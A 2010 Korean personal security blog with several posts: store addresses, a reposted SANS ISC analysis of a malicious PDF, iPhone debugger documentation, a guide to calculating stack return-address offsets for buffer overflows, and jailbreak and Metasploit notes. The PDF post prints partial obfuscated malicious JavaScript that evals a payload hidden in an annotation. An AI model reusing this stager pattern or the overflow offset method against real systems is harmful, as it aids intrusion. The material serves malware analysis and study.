반응형
guidePop_plaza_top.jpg
서울 강남 서울시 강남구 역삼동824-21 상경빌딩 1층
강동 서울시 송파구 방이동 65번지 태원빌딩4층
강서 서울시 영등포구 당산동4가 93-1동양타워 1층
동부 서울시 동대문구 용두동 40-11 동양프라자빌딩 2층
서부 서울시 마포구 동교동 162-4번지남강빌딩 7층
북부 서울시 도봉구 창4동 9-2번지정일프라자 2층
중앙 서울시 서대문구 충정로3가 464번지충정타워 2층
강변 서울시 광진구 구의동 546-4번지테크노마트 사무동 4층 3호
용산 서울시 용산구 한강로 3가 1-1전자월드빌딩 4층 31호
신도림 서울시 구로구 구로동 3-25 신도림 테크노마트 8F
경기도 부평 인천시 부평구 부평동 199-36번지 우리은행 7층
성남 경기도 성남시 수정구 신흥1동6910번지 성남파이낸스빌딩 2층
수원 경기도 수원시 팔달구 인계동1122-12 경기도새마을회관 1층 
안양 경기도 안양시 만안구 안양8동548-1번지 계양빌딩 2층
인천 인천시 남동구 구월동 1128-10번지현대해상빌딩 1층
일산 경기도 고양시 일산구 백석동1294-3 재능교육빌딩 6층 601호
강원도 원주 강원도 원주시 학상동 213-11 KTF사옥 1층 
강릉 강원도 강릉시 포남동 1117-13번지한국레저타운 5층
경남 부산역 부산시 동구 초량3동 1199-9번지교원아카데미빌딩 2층
동래 부산시 동래구 명륜동 510-6대한생명빌딩 1층
마산 마산시 회원구 석전동 244-9번지하나로통신빌딩 2층
울산 울산시 남구 달동 1365-7번지대우증권빌딩 4층
진주 경남 진주시 칠암동 490-8.엠코아빌딩 5층 502호 
덕천 부산시 북구 덕천동 382-8번지삼원빌딩 2층
대구 동대구 대구 동구 효목2동 286-9 KTF빌딩 1층
서대구 대구시 달서구 두류동 135-13현대해상빌딩 5층
포항 경북 포항시 북구 죽도동 51-7번지대아빌딩 11층
구미 경북 구미시 원평동 964-242번지C&S빌딩 2층
안동 경북 안동시 화성동 122-5번지권택근성형외과 1층
광주 충장로 광주시 동구 황금동 5-8 1층SHOW
서광주 광주시 서구 농성1동 417-40대한교원공제회관2층 
전주 전북 전주시 완산구 서신동 766번지KT 전북본부 1층
대전 동대전 대전광역시 동구 용전동 25-7번지 성산빌딩 1층
대전중앙 대전시 중구 은행동 139-1번지한솔그린타워빌딩 7층
서대전 대전시 서구 둔산동 929번지사학연금회관 10층
천안 충남 천안시 북구 쌍용동 390번지동방빌딩 3층
청주 청주시상당구 용암동 1695번지 청주타워 1층 (불교방송국)
제주도 제주 제주시 이도2동 1034-4번지 성우빌딩 1층


KT 플라자.. 토요일엔 대부분 쉰다네요..
토요일날 여는 곳이 어디지.. ㅠㅠ



반응형

'작업공간 > 기본적인 삽질 & 기록' 카테고리의 다른 글

Exploiting hard filtered SQL Injections  (5) 2010.05.30
iPhone encryption? Not really  (0) 2010.05.30
Static analysis of malicous PDFs (Part #2)  (0) 2010.05.30
The Tools  (0) 2010.05.30
[퍼옴] 아이폰 디버기  (0) 2010.05.26
반응형
PDF 분석..
이것도 탭정리하면서 링크 걸어놓는 것..


Static analysis of malicous PDFs (Part #2)
Share |
Published: 2010-01-07,
Last Updated: 2010-01-07 13:38:01 UTC
by Daniel Wesemann (Version: 1)
3 comment(s)

This sample came to us from ISC reader Joe, who reported that his Acrobat reader had crashed with the error message "A 3D parsing error has occurred". The obfuscation approach used by this sample isn't brand new, this type has been around since about mid December as far as we know. No matter, this ISC diary is not about breaking news, more about analysis technique.

$ md5sum bad.pdf
0045c97c4e9e44cac68bd85e197bfae2 bad.pdf
$ ls -al bad.pdf
-rw-r----- 1 daniel handlers 37275 2010-01-06 04:04 bad.pdf

This sample currently still stumps automated analysis tools like the usually excellent Wepawet, but this PDF is indeed malicious. Lets take a look, using Didier Stevens' pdf-parser.py as before.

$pdf-parser.py -a bad.pdf
Comment: 3
XREF: 1
Trailer: 1
StartXref: 1
Indirect object: 10
3: 7, 8, 10
/Action 1: 6
/Annot 2: 5, 9
/Catalog 1: 1
/Outlines 1: 2
/Page 1: 4
/Pages 1: 3

This document defines an "action" which triggers when the document is opened. The corresponding code is in Section 6 of this PDF. Looking at this section, we see that this is indeed a JavaScript block, but the actual code resides in section 7

$ pdf-parser.py -o 6 -f bad.pdf
obj 6 0
Type: /Action
Referencing: 7 0 R
[(2, '<<'), (2, '/Type'), (2, '/Action'), (2, '/S'), (2, '/JavaScript'), [...]

<<
/Type /Action
/S /JavaScript
/JS 7 0 R
>>


Continuing the quest, let's look at section 7:

$ pdf-parser.py -o 7 -f bad.pdf
obj 7 0
Type:
Referencing:
Contains stream
[(2, '<<'), (2, '/Length'), (1, ' '), (3, '231'), (2, '/Filter'), (2, '/FlateDecode'), (2, '>>'), (1, 'rn')]

<<
/Length 231
/Filter /FlateDecode
>>

"var z; var y; n var h = 'edvoazcl'; nt z = y = app[h.replace(/[aviezjl]/g, '')]; nt var tmp = 'syncAEEotScan'; y = 0; t z[tmp.replace(/E/g, 'n')](); y = z; var p = y.getAnnots ( { nPage: 0 }) ; var s = p[0]; s = s['sub' + 'ject']; var l = s.replace(/[zhyg]/g, '%') ; s = unescape ( l )
;app[h.replace(/[czomdqs]/g, '')]( s);n s = ''; z = 1;"


That's more like it! Here we actually get JavaScript code ... and this code is probably the reason why some of the automated analyzers fail: This isn't simple JavaScript, it makes use of Adobe Acrobat specific JavaScript objects and methods to refer to the currently loaded document (app.doc), to identify any "annotations" within this document (syncAnnotScan), to access the first annotation (getAnnots), to assign it to a variable, and finally to eval (run) the code within this variable.  

When we ran pdf-parser.py -a above, it showed "/Annot 2: 5, 9", indicating two annotation sections, 5 and 9. This script accesses the first annotation, thus section 5. Looking into section 5, we see that it simply refers to section 8 .. and there, finally, we find the code block

$pdf-parser.py -o 8 -f bad.pdf

obj 8 0
Type:
Referencing:
Contains stream
[(2, '<<'), (2, '/Length'), (1, ' '), (3, '8583'), (2, '/Filter'), (2, '/FlateDecode'), (2, '>>'), (1, 'rn')]

<<
/Length 8583
/Filter /FlateDecode
>>

'y0dy0ay0dy0ay09y66y75y6ey63y74y69y6fy6ey20y64y64y6cy50y54y63y71y63y30y5fy43y67y28y76
y34y32y73y5fy36y34y2cy20y56y5fy5fy4ay53y33y32y29y7by76y61y72y20y71y41y69y5fy45y44y20y3
dy20y61y72y67y75y6dy65y6ey74y73y2ey63y61y6cy6cy65y65y3by76y61y72y20y54y38y5fy32y72y5
[...etc...]


Two more stages of decoding await the analyst here. First, we have to untangle the above (substitute y with %, then unescape). The resulting JavaScript code is still obfuscated:

function ddlPTcqc0_Cg(v42s_64, V__JS32){var qAi_ED = arguments.callee;var T8_2r_twoNOkI = 0;var
Fyaf2_8v_c7i = 512;qAi_ED = qAi_ED.toString();try {if (app){T8_2r_twoNOkI = 3;T8_2r_twoNOkI--;}}
catch(e) { }var ad_____M = new Array();if (v42s_64) { ad_____M = v42s_64;} else {var jVhSGHs = 0;
[...etc...]

Note how it makes use of "arguments.callee", an anti-debugging technique that we covered before. Also note how the code is again dependent on the presence of the "app" object... which is Adobe specific, and won't exist in Spidermonkey. But all you have to do to get past this stage in SpiderMonkey is to first define the app variable (set it to anything you like, app=1 works fine), and then to use your normal trick to get past the "arguments.callee" trap. I still like to use the copy of SpiderMonkey that I patched to print on every eval call.
 

Phew! Yes indeed. Considering the complexity of all this, it is probably no surprise that we are seeing such an increase of malware wrapped into PDFs ... and also no surprise that Anti-Virus tools are doing such a shoddy job at detecting these PDFs as malicious: It is darn hard. For now, AV tools tend to focus more on the outcome and try to catch the EXEs written to disk once the PDF exploit was successful. But given that more and more users no longer reboot their PC, and just basically put it into sleep mode between uses, the bad guys do not really need to strive for a persistent (on-disk) infection anymore. In-memory infection is perfectly "good enough" -  the average user certainly won't reboot his PC between leisure surfing and online banking sessions. Anti-Virus tools that miss the exploit but are hopeful to catch the EXE written to disk won't do much good anymore in the near future.
 

 

반응형

'작업공간 > 기본적인 삽질 & 기록' 카테고리의 다른 글

iPhone encryption? Not really  (0) 2010.05.30
KT 플라자  (0) 2010.05.30
The Tools  (0) 2010.05.30
[퍼옴] 아이폰 디버기  (0) 2010.05.26
강원도 춘천 닭갈비집 - 통나무집  (0) 2010.05.24
반응형
http://www.mysectools.com/MySecTools/The_Tools/Entries/2010/3/30_Malware_Analysis_Tools.html

어디에서 보고 퍼온 링크인지는 잘 기억이 나지 않는데..
firefox 탭 정리하면서 기록해 놓습니다....

해당 링크에는 IT 중 분석에 필요한 툴들을 모아놓은 사이트 입니다.
반응형
반응형

iPhone Debugger - Documentation

Nicolas A. Economou (*)
Core Security Technologies

Description

This tool is useful for debugging running (or newly created) native processes inside iPhone.

The development of this debugger is based on a previous Windows debugging tool (nicodbg, unreleased) and iPhone's debug API is inspired on the Patrick Walton's (with hdm's updates) weasel debugger.

It was developed on C++ and runs in native code inside iPhone. It has a console interface, similar to that of ntsd.exe, a debugger included in all Windows versions.

The design divides the tool into two parts, the interface and the C++ class for debugging, this enables the possibility of making another debugging tools with different interfaces. This design is simple and the debugger could be easily ported to another platforms.

Setup

Copy the executable iphonedbg to your preferred folder inside iPhone using OpenSSH Secure Copy (scp or WinSCP) or be any means possible.

Its usage is very simple, you've only need to be familiarized with console applications.

The working command and arguments follow:

iphonedbg [-e executable [arguments...]|-p pid executable]

The debugger can attach to a running process or start the process from scratch.

Real Life Example

  • We run Safari web browser in the iPhone and we list all the active processes from a console conected through ssh.

  • We write the command to attach the debugger to the Safari process.

  • Once we are attached to the process, the debugger loads all the process symbols and then waits for user commands.

  • We execute command g (go) and the process continues its execution waiting for some event or exception.

If after consulting a web page the Safari process crashes the debugger will inform it.

Help

Help is incorporated to the debugger accessing with the command h, the result is the following:


h -help
v -version
q -quit program
r [reg[=expression]] -print or set registers
g [expression] -run
t [value] -trace execution n times
p -trace execution not entering to calls
u [expression] -print code
db expression -read byte format memory
dd expression -read dword format memory
eb expression b1 b2 ... -write byte format memory
bp expression [condition] -set breakpoint [reg{<|<=|==|>=|>|<>}value]
bc expression -clear breakpoint
m -show memory map
s addr1 addr2 b1 b2 ... -search from addr1 to addr2
f addr1 addr2 byte -fill from addr1 to addr2 with byte value
~ -threads list
~<0..n>r -show register values from the thread number
'enter' -repeat last command

note: * to set breakpoints in thumb mode write address+1.
* to execute many cmds in a line use ';'.
* to execute many times a line: ex. 'repeat 3:r;g;'.

Command Examples

  • command "r"        = "r r3"     --> print the value of register r3 in hexadecimal
  • command "g"        = "g _main+8"  --> executes the process until function "_main" + 8 is reached
  • command "u"        = "u _main+8"  --> disassemblies function "_main" + 8
  • command "db"       = "db _main+8" --> dumps functions "_main" + 8 in 8-bit values
  • command "dd"       = "dd _main+8" --> dumps functions "_main" + 8 in 32-bit values
  • command "eb"       = "eb _main+8 cc cc cc cc" --> writes value 0xcccccccc at the beginning of function "_main" + 8
  • command "bp"       = "bp _main+8" --> sets a breakpoint at function "_main" + 8
  • command "bc"       = "bc _main+8" --> erases the breakpoint at function "_main" + 8
  • command "s"        = "s 0x1000 0x400000 CE FA ED FE" --> searches for pattern CE FA ED FE between addresses 0x1000 and 0x400000
  • command "f"        = "f 0x1000 0x2000 0" --> fills with zeros addresses between 0x1000 and 0x2000
  • command "x"        = "x libSystem.B.dylib!*" --> shows all the symbols of library libSystem.B.dylib
  • command "~"        = "~" --> shows all the threads of the process
  • command "~<0..n>r" = "~3r" --> shows the values of all register of thread number 3

Compiling From Scratch

There are two possibilites:

  • Downloading the known toolchain contained on a VMWare Linux image, iPhoneToolChainV2:
    • Copy iphonedbg-v?.?.zip to the VMWare Linux image and decompress it.
    • Run the following commands to compile the debugger:
          iPhoneToolchainV2:~/iphonedbg-v1.1# arm-apple-darwin-gcc -c disasm.c
iPhoneToolchainV2:~/iphonedbg-v1.1# arm-apple-darwin-g++ -L/usr/local/lib -o iphonedbg iphonedbg.cpp disasm.o
  • Download the iPhone SDK for Mac OS X from Apple or from iPhoneFix.de (not tested yet).

iPhone Crashes

When an application crashes inside iPhone a .plist file is generated on directory /private/var/logs/CrashReporter. This is basically an XML file with the state of the register, thread and the exception type generated. If it is a kernel crash is written at /private/var/logs/CrashReporter/Panics.


(*) Nicolas A. Economou (neconomou@) is a semi-senior exploit writer at Core Security Technologies. He's being working in computer security for 3 years and he specializes in Windows exploits, mostly, and the development of exploit writing tools. He has also developed exploits for Linux and Mac OS X.

 
posted by 김태훈-프란치스코
http://blog.paran.com/franc3sco/37107111

반응형

'작업공간 > 기본적인 삽질 & 기록' 카테고리의 다른 글

Static analysis of malicous PDFs (Part #2)  (0) 2010.05.30
The Tools  (0) 2010.05.30
강원도 춘천 닭갈비집 - 통나무집  (0) 2010.05.24
gcc 2.96이상 버전에서의 버퍼구조  (2) 2010.05.16
3.1.3 탈옥  (0) 2010.05.03
반응형
http://www.chdakgalbi.com/new
반응형

'작업공간 > 기본적인 삽질 & 기록' 카테고리의 다른 글

The Tools  (0) 2010.05.30
[퍼옴] 아이폰 디버기  (0) 2010.05.26
gcc 2.96이상 버전에서의 버퍼구조  (2) 2010.05.16
3.1.3 탈옥  (0) 2010.05.03
Backtrack4 Metasploit framework3 Update  (0) 2010.03.29
반응형


원문 주소 : http://geundi.tistory.com/120


아직 퍼와도 된다는 허락은 못맡았지만.. 댓글을 달아놨습니다..

안된다면.. 내려야죠 (+__)ㅋ

해당 메모리를 계산할 수 있을 거라고 생각을 못했었는데....

물론 오래된 버전 내용이라 지금은 그냥 공부용이지만.. 한번 정도 보시는 것도 좋을 듯 합니다.


시스템 해킹기법으로 널리 알려진 해킹기법중의 하나인 버퍼오버플로우를 이용하는데에 있어 함수의 리턴주소가 저장되어 있는 곳을 정확히 알아야 합니다.

함수의 리턴어드레스가 저장되어 있는 곳을 약간이나마 추측할 수 있는 방법을 써보고자 합니다.

다 들 아시는 부분이겠지만 gcc 2.96이상 버전으로 컴파일을 하게 되면, 버퍼오버플로우를 하는데 ret의 위치까지의 거리를 계산하는데 어려움이 있습니다. 메모리에 버퍼를 위한 공간이 할당되는데 각 버퍼 다음에 그 크기가 일정하지 않는 공간이 잡히기(이하 쓰레기) 때문입니다.

그런데 이 쓰레기의 크기가 정해지는 것에 있어서 다소 규칙성을 발견하 여 작성한 글(글 마지막에 참고문서 링크)이 있어 그 글을 기초로 하여  정리를 해보려 합니다.


1. 버퍼가 하나인 경우 

main()
{
 buffer1[ ];

}

이러한 소스를 가진 프로그램이 수행되면 스택은 다음과 같을 것입니다.


                 /-------------------------/  메모리의 높은 숫자의 주소
                 |         ret             |      
                 /-----------------/
                 |         sfb            |
                 /-----------------/
                 |                         |
                 |      쓰레기1        |
                 |                         |
                 /-----------------/
                 |                         |
                 |      쓰레기2        |
                 |                         |
                 /-----------------/
                 |                         |
                 |       buffer1        |
                 |                         |
                 /-------------------------/   메모리의  낮은 숫자의 주소


쓰레기1buffer1의 크기9바이트 이상인 경우에만 8바이트로써 일정하게 생깁니다. 9바이트 미만인 경우에는 생기지 않거나 생기는 그 크기가 뷸규칙 합니다.

쓰레기2 buffer1의 크기9바이트 이상인 경우 "buffer1의 시작주소 와 쓰레기1의 시작 주소간의 거리는 16배수로 단위로 되는 규칙성"이 있습니다.

9 <=  buffer1  <=16  :  buffer1시작주소와 쓰레기1의 시작주소의 차이는 16
16 <  buffer1  <=32   :   32
32 <  buffer1  <=48   :   48
48 <  buffer1  <=64   :   64
~
~


이러한 나름의 규칙성을 가지고 buffer1이 9바이트 이상의 크기로 선언이 되었다면 다음과 같이 ret까지의 거리를 계산할 수 있습니다.

(buffer1 시작주소와 에서 쓰레기1 시작주소의 거리) + (쓰레기1 8바이트) + (sfb 4바이트)
= buffer1의 시작주소에서 ret시작 주소까지의 거리

따라서 버퍼오버플로우를 할 때 쉘코드주소가 들어가야 할 자리를 정확히 잡아주는데 큰 도움이 될 것입니다.


2. 버퍼가 2개인 경우

버퍼가 2개인 경우에는 버퍼 2개의 크기를 모두 고려해야합니다.

main()
{
 buffer1[ ];
   buffer2[ ];
}

이러한 소스를 가진 프로그램이 수행되면 스택은 다음과 같을 것입니다.


                 /-------------------------/  메모리의 높은 숫자의 주소
                 |         ret             |      
                 /-----------------/
                 |         sfb            |
                 /-----------------/
                 |                         |
                 |      쓰레기1        | 
                 |                         |
                 /-----------------/
                 |                         |
                 |      쓰레기2        |
                 |                         |
                 /-----------------/
                 |                         |
                 |       buffer1        |
                 |                         |
                 /-----------------/
                 |                         |
                 |      쓰레기3        | 
                 |                         |
                 /-----------------/
                 |                         |
                 |       buffer2        |
                 |                         |
                 /-------------------------/   메모리의  낮은 숫자의 주소



우리는 이제 쓰레기3의 크기를 구하여야 하는데,
쓰레기3의 크기를 구하는데 있어서는 buffer2의 시작주소와 buffer1의 시작주소의 거리를 계산하는 방식으로 이루어 집니다.

buffer2와 buffer1의 거리에 대한 규칙성은 다음 그림을 참고하시면 될것 같습니다.
(그 림에서는 제가 여태 설명해오던 buffer1과 buffer2가 바뀌어져 있으니 참고하시기 바랍니다)

사용자 삽입 이미지
<그림출처 : http://hackerleon.cybersoldier.net/images/gcc296.jpg>

그림에 약간의 보충 설명을 덧붙이도록 하겠습니다.

버퍼가 2개인 경우에는 각각의 버퍼의 크기가 9이상이면 buffer2에서 buffer1까지의 거리에 일정한 규칙성을 가지게 됩니다.(그림을 보시면 아시겠지만 반드시 2개의 버퍼 각각의 크기가 모두 9이상이어야 합니다, 둘중에 하나라도 9바이트 미만이면 규칙성은 없습니다.)

(buffer1 의 크기가 9이상이고, buffer2의 크기도 9이상인 경우)
9 <=  buffer1 <= 16  : buffer1와 buffer2의 거리는 16
16 < buffer1  <= 32    :  32
32 < buffer1  <= 48   :   48
48 < buffer1  <= 64   :   64
~
~

이제 우리는 buffer2에서 buffer1까지의 거리를 알 수 있습니다. 그리고 buffer1 에서 ret까지의 거리는 앞서서 설명했던 버퍼가 하나인 경우와 같으므로, buffer2에서 ret까지의 거리를 구할 수 있게 되었습니다.

따라서 buffer2에서 ret까지의 거리는 다음과 같을 것입니다.

(buffer2에서 buffer1까지의 거리) + (buffer1에서 쓰레기1까지의 거리) + (쓰레기1 8바이트) + (sfb 4바이트)


3. 변수에 메모리를 할당하는 단위가 바뀐 것인가?

저는 여태 리눅스는 변수에 메모리를 할당할 때에 1워드 즉, 4바이트를 단위로 한다고 알고 있었습니다.

그런데 어떤 글을 보니 이러한 해석이 있더군요.

 gcc 2.96이상 버전에서는 8바이트 이하의 변수에는 1워드 단위로 할당을 하지만, 8바 이트를 초과하는 즉, 9바이트 이상의 변수에는 4워드(16바이트)단위로 할당을 한다는 것입니다.

만약 이러한 해석에 기초를 둔다면 각 버퍼가 9바이트 이상인 경우에 발견되었던 16바이트 단위의 그 규칙성에 대한 설명이 가능해집니다. 그런데 앞에서 제가 쓰레기라고 우겼던 것들은 쓰레기가 아닌게 되겠습니다. 당연히 변수에 할당된 메모리의 공간이라고 생각되기 때문입니다.

그러나 버퍼의 크기가 8바이트 이하인 경우에는 이 해석이 맞지 않는것 같습니다. 위의 그림에서 8바이트 이하인 경우에 두 버퍼간의 거리를 보시면 알 수 있는 부분입니다.

이러한 규칙성을 어떻게 받아들여야할지는 좀더 공부를 해보거나 자기가 편한대로 해야겠습니다.

또한 이러한 규칙성은 gcc버전에 따라 다를수도 있으니 이점 염두해주시기 바랍니다.

수고하셨습니다.

반응형
반응형



Geohot 의 트위터만 보고 있었는데..
제가 영어를 잘.. 못하는 편이라
영어로 뭐라뭐라 하길래 그런가보다.. 하고 넘어갔었죠.. 그 중 spirit 이란 단어가 있어서..
무슨 정신 어쩌구 저쩌구 그렇게 해석하고 넘어가버렸죠..

하지만 오늘 확인해보니.. spirit이 3.1.3 탈옥 툴 이름이더군요..

2.5세대 아이팟터치.. 3GS 아이폰..에서 실험해봤으며..
안정적으로 탈옥이 되었습니다..
사진만 삭제되고 주소록이랑 어플리케이션들은 남아있네요..

3.1.3 탈옥을 하실 분들은.. 하셔도 무방할 듯 합니다..
3.1.3 탈옥에 관한 내용을 좀 더 살펴봐야겠네요..



탈옥은 기존에 쓰던 Blackra1n과 동일하며
틀린점은.. 완전탈옥.. 즉.. 완탈이란 것입니다.. 재부팅이 무섭지 않죠..

탈옥 후 안정화 작업을 해주시면 될 듯 합니다..



반응형
반응형
아이폰에서 MSF3를 쓰려고 하는 도중..
보는데.. 얘는 도통 업데이트를 하려면 무슨 을 해야되는지 모르겠더군요..
그래서 마구마구.. 웹서핑을 해대다가!!
결국 알아냈습니다...

svn update

....
네.. 저렇게 짧습니다.. 아이폰은 subversion이 설치가 되어있지 않으니 잘.. 설치해주시기 바랍니다. ^^




반응형

'작업공간 > 기본적인 삽질 & 기록' 카테고리의 다른 글

gcc 2.96이상 버전에서의 버퍼구조  (2) 2010.05.16
3.1.3 탈옥  (0) 2010.05.03
UnPacking Malicious Executables  (2) 2010.03.09
Disassemble the MBR  (0) 2010.03.08
Shellcode to Execute a Ping!  (0) 2010.03.08
반응형

UnPacking Malicious Executables

요즘 Pentestit.com이 리뉴얼중인듯 싶네요

볼만한 자료가 상당히 많이 올라오고 있습니다... 이번에는 언팩 과정을 설정하고 있는 글이 올라와있어요..

처음엔 UPX.. 누구나 다 아는 내용이죠.. 이젠 국민패커라고 불러도 무방할 듯 싶어요...

하지만 중반 이후 나오는 패커는

언패킹을 UPX만 해본 사람이라면 생소할 것 같네요..

하지만 따라하기 쉽게 자세한 설명이 적혀 있으니 따라해보시는 것도 좋을 듯 합니다 ㅇ_ㅇ;;






반응형

'작업공간 > 기본적인 삽질 & 기록' 카테고리의 다른 글

3.1.3 탈옥  (0) 2010.05.03
Backtrack4 Metasploit framework3 Update  (0) 2010.03.29
Disassemble the MBR  (0) 2010.03.08
Shellcode to Execute a Ping!  (0) 2010.03.08
CentOS 서비스 데몬 확인 방법  (0) 2010.03.04
반응형
http://blogs.msdn.com/ntdebugging/archive/2008/03/06/disassemble-the-mbr.aspx

공부용 링크 입니다..

질문은 역시 해당 링크에 해주시기 바랍니다.
반응형

+ Recent posts